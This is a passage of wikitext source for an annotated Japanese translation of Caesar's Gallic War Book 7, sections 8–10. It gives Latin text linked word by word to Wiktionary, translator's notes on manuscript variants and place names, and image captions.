**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：後者の補充兵 supplementum は、[[#1節|1節]]で既述のように、&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]で徴募された軍団兵であろう。）&lt;/span&gt;
*in [[wikt:en:Helvii#Latin|Helvios]], qui fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:contingunt|contingunt]], 
**[[w:アルウェルニ族|アルウェルニー族]]の領土に接しているヘルウィイー族のところに
*[[wikt:en:convenire#Latin|convenire]] [[wikt:en:iubet#Latin|iubet]].
**集結することを命じる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===8節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/8節]]　{{進捗|00%|2026-01-03}}&lt;/span&gt;
[[画像:Carte-cevennes-france.png|thumb|right|200px|フランスにおける[[w:中央高地 (フランス)|中央高地]]（Massif Central）とセヴェンヌ山地（Cévennes）の位置]]
[[画像:Col_de_legal.jpeg|thumb|right|200px|[[w:雪|雪]]に覆われた[[w:オーヴェルニュ地域圏|オーヴェルニュ高地]]。オーヴェルニュ（Auvergne）の名は[[w:アルウェルニ族|アルウェルニー族]]（Arverni）に由来する。]]
[[画像:Causse_Mejean_Evening.jpg|thumb|right|200px|城壁のように続くケウェンナ（セヴェンヌ）山地の断崖]]
[[画像:France_Massif_central.jpg|thumb|right|200px|[[w:アルウェルニ族|アルウェルニー族]]の勢力圏であった[[w:中央高地 (フランス)|中央高地]]（Massif Central）の領域（着色部分）。平野の多いフランスにおいて山塊としてそびえ立つ。]]
:　
;カエサルがケウェンナ山地を越えてアルウェルニー族の領内へ突入
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:comparatus#Latin|comparatis]], 
**これらの事が整えられて、
*[[wikt:en:repressus#Latin|represso]] iam [[wikt:en:Lucterius#Latin|Lucterio]] et [[wikt:en:remotus#Latin|remoto]], 
**&lt;small&gt;（カドゥルキー族の）&lt;/small&gt;ルクテリウスはすでに押し留められ、遠ざけられた。
*quod [[wikt:en:intrare#Latin|intrare]] intra [[wikt:en:praesidium#Latin|praesidia]] [[wikt:en:periculosus#Latin|periculosum]] [[wikt:en:putabat|putabat]], 
**──というのは&lt;small&gt;（ローマ人の）&lt;/small&gt;守備の範囲内に踏み込むことは危険なことであると&lt;small&gt;（ルクテリウスが）&lt;/small&gt;見なしていたからであるが、──
*in [[wikt:en:Helvii#Latin|Helvios]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（そこで、カエサルは）&lt;/small&gt;ヘルウィイー族のところに出発する。
:　
;　　　カエサルが、アルウェルニー族の要害ケウェンナ山を越える
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Etsi&lt;/u&gt; mons &lt;u&gt;Cevenna&lt;/u&gt;, qui [[wikt:en:Arverni#Latin|Arvernos]] ab [[wikt:en:Helvii#Latin|Helviis]] [[wikt:en:discludit|discludit]], 
**[[w:アルウェルニ族|アルウェルニー族]]をヘルウィイー族から隔てている&lt;u&gt;ケウェンナ山&lt;/u&gt;は、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：山の名は写本によって Cebenna または Cevenna となっており、&lt;br&gt;　　　　　[[w:ガイウス・プリニウス・セクンドゥス|大プリーニウス]]が記した [[wikt:en:Cebenna#Latin|Cebenna]] がガリア語に近いようである。&lt;br&gt;　　　　現在名はセヴェンヌ山地 Cévennes と呼ばれ、&lt;br&gt;　　　　　[[w:中央高地 (フランス)|フランス中央高地]]（Massif Central）の南東部にそそり立っている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …「～としても、にもかかわらず…」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:mons#Latin|mons]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:durissimus#Latin|durissimo]] tempore anni 
**最も厳しい時季に
*[[wikt:en:altissimus#Latin|altissima]] [[wikt:en:nix#Latin|nive]] iter [[wikt:en:impediebat|impediebat]], 
**豪[[w:雪|雪]]によって道を閉ざしていたのであるが、
*&lt;u&gt;tamen&lt;/u&gt; [[wikt:en:discussus#Latin|discussa]] [[wikt:en:nix#Latin|nive]] sex in [[wikt:en:altitudo#Latin|altitudinem]] [[wikt:en:pes#Latin|pedum]] 
**にもかかわらず&lt;small&gt;（カエサル勢は）&lt;/small&gt;深さ6&lt;u&gt;ペース&lt;/u&gt;の雪を粉砕して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、6ペースは約1.8メートル弱。）&lt;/span&gt;
*atque ita [[wikt:en:via#Latin|viis]] [[wikt:en:patefactus#Latin|patefactis]] [[wikt:en:summus#Latin|summo]] [[wikt:en:miles#Latin|militum]] &lt;u&gt;sudore&lt;/u&gt;
**このように兵士たちの最大の努力によって道が開かれて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sudor#Latin|sudore]]「汗」だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:labor#Latin|labore]]「労苦」 となっている。）&lt;/span&gt;
*ad fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:pervenit#Latin|pervenit]]. 
**[[w:アルウェルニ族|アルウェルニー族]]の領土へ到達した。
:　
;　　　アルウェルニー族が、カエサルの奇襲に周章狼狽する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus [[wikt:en:oppressus#Latin|oppressis]] [[wikt:en:inopinans#Latin|inopinantibus]], 
**&lt;small&gt;（アルウェルニー族は）&lt;/small&gt;彼らに対する&lt;small&gt;（カエサルの）&lt;/small&gt;攻撃を予期していなかったが、
*quod se &lt;u&gt;Cevenna&lt;/u&gt; ut [[wikt:en:murus#Latin|muro]] [[wikt:en:munitus#Latin|munitos]] [[wikt:en:existimabant|existimabant]], 
**──というのは、自分たちは&lt;u&gt;ケウェンナ&lt;/u&gt;を壁として防御されていると考えていたからであり、
*ac &lt;u&gt;ne&lt;/u&gt; [[wikt:en:singularis#Latin|singulari]] &lt;u&gt;quidem&lt;/u&gt; [[wikt:en:umquam#Latin|umquam]] homini eo tempore anni [[wikt:en:semita#Latin|semitae]] [[wikt:en:patuerant|patuerant]], 
**かつ、その時季には、個人にとってさえも、小道はかつて開かれていなかったからであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*[[wikt:en:eques#Latin|equitibus]] [[wikt:en:imperat|imperat]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;騎兵たちに命令する。
*ut, [[wikt:en:quam#Adverb|quam]] [[wikt:en:late#Latin|latissime]] [[wikt:en:possint|possint]], [[wikt:en:vagentur|vagentur]] 
**できるだけ広く動き回り、
*et [[wikt:en:quam#Adverb|quam]] maximum hostibus [[wikt:en:terror#Latin|terrorem]] [[wikt:en:inferant|inferant]]. 
**敵たちに最大限の恐怖を引き起こすように、と。
:　
;　　　ウェルキンゲトリークスが、ビトゥリゲース族のもとから軍勢を取って返す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Celeriter haec [[wikt:en:fama#Latin|fama]] ac &lt;u&gt;nuntiis&lt;/u&gt; 
**これらのことは速やかに風評や伝令たちによって、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:nuntii#Latin|nuntii]] だが、&lt;br&gt;　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Manutius|Manutius]]'' が [[wikt:en:nuntiis#Etymology_1|nuntiis]] と修正提案している。）&lt;/span&gt;
*ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:perferuntur|perferuntur]]; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ報知される。
*quem [[wikt:en:perterritus#Latin|perterriti]] omnes [[wikt:en:Arverni#Latin|Arverni]] [[wikt:en:circumsistunt|circumsistunt]] atque [[wikt:en:obsecrant|obsecrant]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;を、脅かされている[[w:アルウェルニ族|アルウェルニー族]]の皆が取り巻いて、嘆願する。
*ut suis [[wikt:en:fortuna#Latin|fortunis]] [[wikt:en:consulat#Latin|consulat]], 
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;の境遇に配慮してくれるように、
*&lt;u&gt;neve&lt;/u&gt; ab hostibus &lt;u&gt;diripiantur&lt;/u&gt;,  
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;が敵&lt;small&gt;〔ローマ人〕&lt;/small&gt;によって略奪されることを許容しないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この行は、&amp;alpha;系写本では [[wikt:en:neve#Latin|neve]] ab hostibus [[wikt:en:diripiantur|diripiantur]] &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:neu#Latin|neu]] se ab hostibus [[wikt:en:diripi|diripi]] [[wikt:en:patiatur|patiatur]] となっている。）&lt;/span&gt;
*[[wikt:en:praesertim#Latin|praesertim]] cum [[wikt:en:videat|videat]] [[wikt:en:omnis#Latin|omne]] ad se bellum [[wikt:en:translatus#Participle|translatum]]. 
**とりわけ、すべての戦争が自分たちへ向けられると&lt;small&gt;（彼が）&lt;/small&gt;見なしているのであるから
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：praesertim cum ～；とりわけ～であるから）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quorum ille [[wikt:en:prex#Latin|precibus]] [[wikt:en:permotus#Latin|permotus]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、その者たちの懇願に揺り動かされて、
*[[wikt:en:castra#Latin|castra]] ex [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:movet|movet]] in [[wikt:en:Arverni#Latin|Arveruos]] [[wikt:en:versus#Latin|versus]].
**陣営をビトゥリゲース族のところから[[w:アルウェルニ族|アルウェルニー族]]のところに向けて行軍する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：castra movet 「陣営を動かす」＝「行軍する」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：現在の[[w:ブールジュ|ブールジュ]]辺りから[[w:クレルモン＝フェラン|クレルモン＝フェラン]]辺りに南下したようである。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===9節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/9節]]　{{進捗|00%|2026-01-12}}&lt;/span&gt;
;カエサルが北上して諸軍団と合流するが、同盟軍はゴルゴビナ攻略をめざす
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; At Caesar, [[wikt:en:biduum#Latin|biduum]] in his locis [[wikt:en:moratus#Participle|moratus]], 
**それに対して、カエサルは2日間、この地に留まった。
*quod haec de [[wikt:en:Vercingetorix#Latin|Vercingetorige]] usu ventura [[wikt:en:opinio#Latin|opinione]] [[wikt:en:praeceperat|praeceperat]], 
**──というのは、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]についてこれ&lt;small&gt;〔陣営の移動〕&lt;/small&gt;が起こると予想をしていたからだが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：usu venire 「起こる」→&amp;nbsp; usu [[wikt:en:venturus#Latin|ventūra]] (esse) 「起こるであろう」）&lt;/span&gt;
*per causam [[wikt:en:supplementum#Latin|supplementi]] [[wikt:en:equitatus#Noun|equitatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:cogendus#Latin|cogendi]] 
**補充兵と騎兵隊を徴集するためという口実のもとに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：per causam 「口実のもとに」）&lt;/span&gt;
*ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:discedit|discedit]]; 
**軍隊から離れる。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:Brutus#Latin|Brutum]] [[wikt:en:adulescens#Noun|adulescentem]] his copiis [[wikt:en:praeficit|praeficit]]; 
**&lt;small&gt;（カエサルは）&lt;/small&gt;&lt;u&gt;青年ブルートゥス&lt;/u&gt;にこの軍勢を指揮させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：青年ブルートゥスとは、&lt;br&gt;　　　　[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ブルートゥス]]（&lt;small&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/small&gt;）のことで、&lt;br&gt;　　　　[[ガリア戦記 第3巻#14節|第3巻14節]]でカエサルの艦隊を指揮した。）&lt;/span&gt;
*hunc [[wikt:en:monet#Latin|monet]], ut in omnes partes [[wikt:en:eques#Latin|equites]] quam [[wikt:en:late#Latin|latissime]] [[wikt:en:pervagentur|pervagentur]]: 
**彼には、[[w:騎兵|騎兵]]たちがあらゆる方面にできるだけ広く駆け回るようにと、忠告する。
*&lt;u&gt;daturum&lt;/u&gt; se &lt;u&gt;operam&lt;/u&gt;, ne longius [[wikt:en:triduum#Latin|triduo]] ab [[wikt:en:castra#Latin|castris]] [[wikt:en:absit#Latin|absit]]. 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は、3日間より長く陣営から離れないように、努力をするであろう、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:opera#Latin|operam]] dare 「努力をする」→&amp;nbsp; operam  [[wikt:en:daturus#Latin|datūrum]] (esse) 「努力をするであろう」）&lt;/span&gt;
[[画像:Image-Vienne-Cropped.jpg|thumb|right|300px|'''ウィエンナ'''（Vienna）すなわち現在のヴィエンヌ（Vienne）。ロダヌス川（現[[w:ローヌ川|ローヌ川]]）のほとりにある当地は、南仏[[w:プロヴァンス|プロヴァンス地方]]と北仏[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]]を結ぶ交通の要衝として、古代ローマ時代から栄え、今もローマ時代の遺跡が多く残る。]]
:　
;　　　カエサルが、急いでウィエンナへ北進する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:constitutus#Participle|constitutis]] rebus, 
**これらの事を決定すると、
*&lt;u&gt;omnibus&lt;/u&gt; suis [[wikt:en:inopinans#Latin|inopinantibus]], 
**配下の皆が予期しないほど、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：omnibus は &amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
*quam [[wikt:en:maximus#Latin|maximis]] potest [[wikt:en:iter#Latin|itineribus]], 
**できるかぎりの強行軍で、
*[[wikt:en:Vienna#Etymology_1|Viennam]] [[wikt:en:pervenit#Latin|pervenit]]. 
**&lt;u&gt;ウィエンナ&lt;/u&gt;に到着する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ウィエンナ [[w:la:Vienna|Vienna]] は、&lt;br&gt;　　　　　現在の[[w:ヴィエンヌ (イゼール県)|ヴィエンヌ]] ''[[w:en:Vienne, Isère|Vienne]]''）&lt;/span&gt;
:　
;　　　カエサルが、ハエドゥイー族領を抜けて、2個軍団が冬営するリンゴネース族領へ向けて北上する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ibi#Latin|Ibi]] [[wikt:en:nactus#Latin|nactus]] [[wikt:en:recens#Latin|recentem]] [[wikt:en:equitatus#Latin|equitatum]], quem [[wikt:en:multus#Latin|multis]] ante diebus eo [[wikt:en:praemiserat|praemiserat]], 
**そこで、何日も前にそこに先遣していたまだ新兵の騎兵隊を得て、
[[画像:Langres_FR_(march_2008).jpg|thumb|right|300px|リンゴネース族（Lingones）の名を残す[[w:ラングル|ラングル]]（Langres）の街の雪景色]]
*neque [[wikt:en:diurnus#Latin|diurno]] neque [[wikt:en:nocturnus#Latin|nocturno]] itinere [[wikt:en:intermissus#Latin|intermisso]] 
**昼間も夜間も行軍を中断せずに、
*per fines [[wikt:en:Aedui#Latin|Haeduorum]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領土を通って、
*in [[wikt:en:Lingones#Latin|Lingones]] [[wikt:en:contendit|contendit]], 
**&lt;u&gt;リンゴネース族のところ&lt;/u&gt;に急いだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リンゴネース族 [[w:la:Lingones|Lingones]] の首邑は&lt;br&gt;　　　　　現在の[[w:ラングル|ラングル]] ''[[w:en:Langres|Langres]]'' で、&lt;br&gt;　　　　　ローマ時代には [[w:la:Andematunnum|Andematunnum]] と呼ばれたが、&lt;br&gt;　　　　''[[wikt:fr:Lingones|Lingones]]'' の転訛が ''[[wikt:fr:Langres|Langres]]'' である。）&lt;/span&gt;
*[[wikt:en:ubi#Latin|ubi]] [[wikt:en:duo#Latin|duae]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:hiemabant|hiemabant]], 
**そこには、2個[[w:ローマ軍団|軍団]]が冬営していた。
*ut, si [[wikt:en:aliquis#Latin|quid]] etiam de sua [[wikt:en:salus#Latin|salute]] ab [[wikt:en:Aedui#Latin|Haeduis]] [[wikt:en:iniretur|iniretur]] [[wikt:en:consilium#Latin|consilii]], [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:praecurreret|praecurreret]]. 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自らの安全についてさえ、ハエドゥイー族により何らかの謀計が始められても、速やかに凌駕するように。
:　
;　　　カエサルが、リンゴネース族領の軍団冬営地へ到着して、諸軍団へ集結を指令する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:pervenisset|pervenisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへ到着したときに、
*ad reliquas [[wikt:en:legio#Latin|legiones]] [[wikt:en:mittit|mittit]] 
**残りの軍団のもとへ&lt;small&gt;（伝令を）&lt;/small&gt;遣わす。
*&lt;u&gt;prius&lt;/u&gt;que omnes in unum locum [[wikt:en:cogit|cogit]], &lt;u&gt;quam&lt;/u&gt; de eius [[wikt:en:adventus#Latin|adventu]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:nuntiari|nuntiari]] [[wikt:en:posset#Latin|posset]]. 
**彼の到着について[[w:アルウェルニ族|アルウェルニー族]]に知らされ得るより早く、総勢が一か所に集結するように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:priusquam#Latin|prius ～ quam]] …；…より早く～）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ボイイー族がいるゴルゴビナの攻略を企図する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Hac re [[wikt:en:cognitus#Participle|cognita]], 
**この事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] rursus in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reducit|reducit]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は再びビトゥリゲース族のところに軍隊を連れ戻して、
*atque [[wikt:en:inde#Latin|inde]] [[wikt:en:profectus#Participle_2|profectus]] Gorgobinam, [[wikt:en:Boii#Latin|Boiorum]] [[wikt:en:oppidum#Latin|oppidum]], 
**そこから、[[w:ボイイ族|ボイイー族]]の城塞都市であるゴルゴビナへ出発した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ゴルゴビナ ''[[w:en:Gorgobina|Gorgobina]]'' は、現在の候補地としては、&lt;br&gt;　　　　　[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリズ＝ル＝シャテル&lt;small&gt;（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）&lt;/small&gt;&lt;br&gt;　　　　　[[w:アンドル＝エ＝ロワール県|アンドル＝エ＝ロワール県]]のラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）&lt;br&gt;　　　　あるいは、[[w:シェール県|シェール県]]のサン＝サテュル（[[w:fr:Saint-Satur|Saint-Satur]]）などが挙げられている。）&lt;/span&gt;
*quos ibi [[wikt:en:helvetico|Helvetico]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:victus#Participle|victos]] 
**──[[w:ヘルウェティイ族|ヘルウェーティイー族]]の戦闘で打ち負かされた彼らをそこに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ボイイー族はヘルウェーティイー族とともにガッリアに移動して、カエサルに敗れていた。第1巻28節～29節を参照。）&lt;/span&gt;
*Caesar [[wikt:en:conlocaverat#Latin|conlocaverat]] [[wikt:en:Aedui#Latin|Haeduis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adtribuerat#Latin|adtribuerat]], 
**カエサルは宿営させ、ハエドゥイー族&lt;small&gt;（の庇護）&lt;/small&gt;に委ねていたのだが、──
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]].
**&lt;small&gt;（ウェルキンゲトリークスはゴルゴビナの）&lt;/small&gt;攻略を決意した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===10節===
[[画像:Caesar's_campaign_to_Agedincum_in_52BC.png|thumb|right|250px|前節までのカエサルの[[w:ナルボンヌ|ナルボー]]からアゲディンクムへの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルは[[w:アルウェルニ族|アルウェルニー族]]の本拠ゲルゴウィアを突くと見せかけてウェルキンゲトリークスを引き寄せ、その間に[[w:ブルゴーニュ地域圏|ブルゴーニュ]]に冬営していた諸軍団と合流できた。これに対して、ウェルキンゲトリークスはボイイー族を攻めようとする。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/10節]]　{{進捗|00%|2026-01-16}}&lt;/span&gt;
;カエサルがアゲディンクムを発って、ボイイー族支援に向かう
:　
;　　　カエサルが抱えることになった「大きな困難」とは？
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Magnam haec res Caesari [[wikt:en:difficultas#Latin|difficultatem]] ad [[wikt:en:consilium#Latin|consilium]] [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:adferebat|adferebat]]&lt;!--:--&gt;, 
**この事態は、カエサルが作戦を立てるためには、大きな困難を引き起こしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：haec res 「この事態」とは、&lt;br&gt;　　　　　ウェルキンゲトリークスが&lt;br&gt;　　　　　ハエドゥイー族の庇護下にあったボイイー族を攻めること。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：magnam ～ difficultatem 「大きな困難を」）&lt;/span&gt;
*si reliquam partem [[wikt:en:hiems#Latin|hiemis]] uno loco [[wikt:en:legio#Latin|legiones]] [[wikt:en:contineret|contineret]], 
**もし、冬の残りの期間に、諸[[w:ローマ軍団|軍団]]を1か所に留めておくならば、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前節で述べられたように、&lt;br&gt;　　　　　カエサルはリンゴネース族の軍団冬営地に着いたときに、&lt;br&gt;　　　　　諸軍団に1か所に集結するべく伝令を遣わしていた。）&lt;/span&gt;
*ne, [[wikt:en:stipendiarius#Latin|stipendiariis]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:expugnatus#Latin|expugnatis]], [[wikt:en:cunctus#Latin|cuncta]] Gallia [[wikt:en:deficeret|deficeret]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]の朝貢国が攻略されて、ガッリア全体が背くのではないか？
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「ハエドゥイー族の朝貢国」とは、ボイイー族のこと。）&lt;/span&gt;
*quod [[wikt:en:nullus#Determiner|nullum]] amicis in eo [[wikt:en:praesidium#Latin|praesidium]] &lt;u&gt;videret positum esse&lt;/u&gt;; 
**──というのは、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;においては、友邦に対するいかなる守備隊も置かれていないと&lt;small&gt;（ガッリアが）&lt;/small&gt;見るからである──。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　[[ガリア戦記/注解編/写本と校訂版#写本の系図|&amp;alpha;系写本]]のうち、&amp;chi;系･M･B･S写本などでは [[wikt:en:videret|videret]] [[wikt:en:positus#Latin|positum]] esse 、&lt;br&gt;　　　　　&amp;alpha;系写本のうち、写本M･L･Nなどでは [[wikt:en:videretur|videretur]] positum esse 、&lt;br&gt;　　　　　&amp;beta;系写本では、positum videret となっている。）&lt;/span&gt;
*si [[wikt:en:mature#Adverb|maturius]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:educeret|educeret]], 
**もし、尚早に冬営地から&lt;small&gt;（諸軍団を）&lt;/small&gt;進発させれば、
*ne ab re [[wikt:en:frumentarius#Latin|frumentaria]] [[wikt:en:durus#Latin|duris]] [[wikt:en:subvectio#Latin|subvectionibus]] [[wikt:en:laboraret|laboraret]]. 
**&lt;small&gt;（降雪時期の）&lt;/small&gt;糧秣供給の厄介な輸送によって苦労するのではないか？
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Praestare&lt;/u&gt; [[wikt:en:visus#Participle|visum]] est tamen omnes [[wikt:en:difficultas#Latin|difficultates]] [[wikt:en:perpeti#Verb|perpeti]], 
**しかしながら、あらゆる困難に耐えることの方が&lt;u&gt;優っている&lt;/u&gt;ように見える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～が優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:tantus#Latin|tanta]] [[wikt:en:contumelia#Latin|contumelia]] [[wikt:en:acceptus#Latin|accepta]] omnium suorum [[wikt:en:voluntas#Latin|voluntates]] [[wikt:en:alienare#Latin|alienare]]. 
**これほどの恥辱を受けて、配下の皆の意欲を遠ざけてしまう&lt;u&gt;よりは&lt;/u&gt;。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque [[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]] de [[wikt:en:supportandus#Latin|supportando]] [[wikt:en:commeatus#Noun|commeatu]], 
**こうして、&lt;small&gt;（カエサルは）&lt;/small&gt;ハエドゥイー族に軍需物資の輸送について、激励して、
*[[wikt:en:praemittit|praemittit]] ad [[wikt:en:Boii#Latin|Boios]], qui de suo [[wikt:en:adventus#Latin|adventu]] [[wikt:en:doceant|doceant]] 
**[[w:ボイイ族|ボイイー族]]のもとへ、&lt;small&gt;（カエサル）&lt;/small&gt;自らの到着について知らせるための者たちを先遣して、
*[[wikt:en:hortentur|hortentur]]&lt;nowiki&gt;que&lt;/nowiki&gt; ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]] atque hostium [[wikt:en:impetus#Latin|impetum]] magno animo [[wikt:en:sustineant|sustineant]]. 
**&lt;small&gt;（カエサルへの）&lt;/small&gt;信義に留まって、敵たちの襲撃に大いなる決意をもって持ちこたえるように、と激励させた。
[[画像:Aqueduc2.jpg|thumb|right|250px|アゲディンクム、すなわちセノネース族（Senones）の名を残す現在の[[w:サンス|サーンス]]（Sens）に建てられたローマ時代の[[w:水道橋|水道橋]]遺跡。]]
:　&lt;!--　[[wikt:en:|　--&gt;
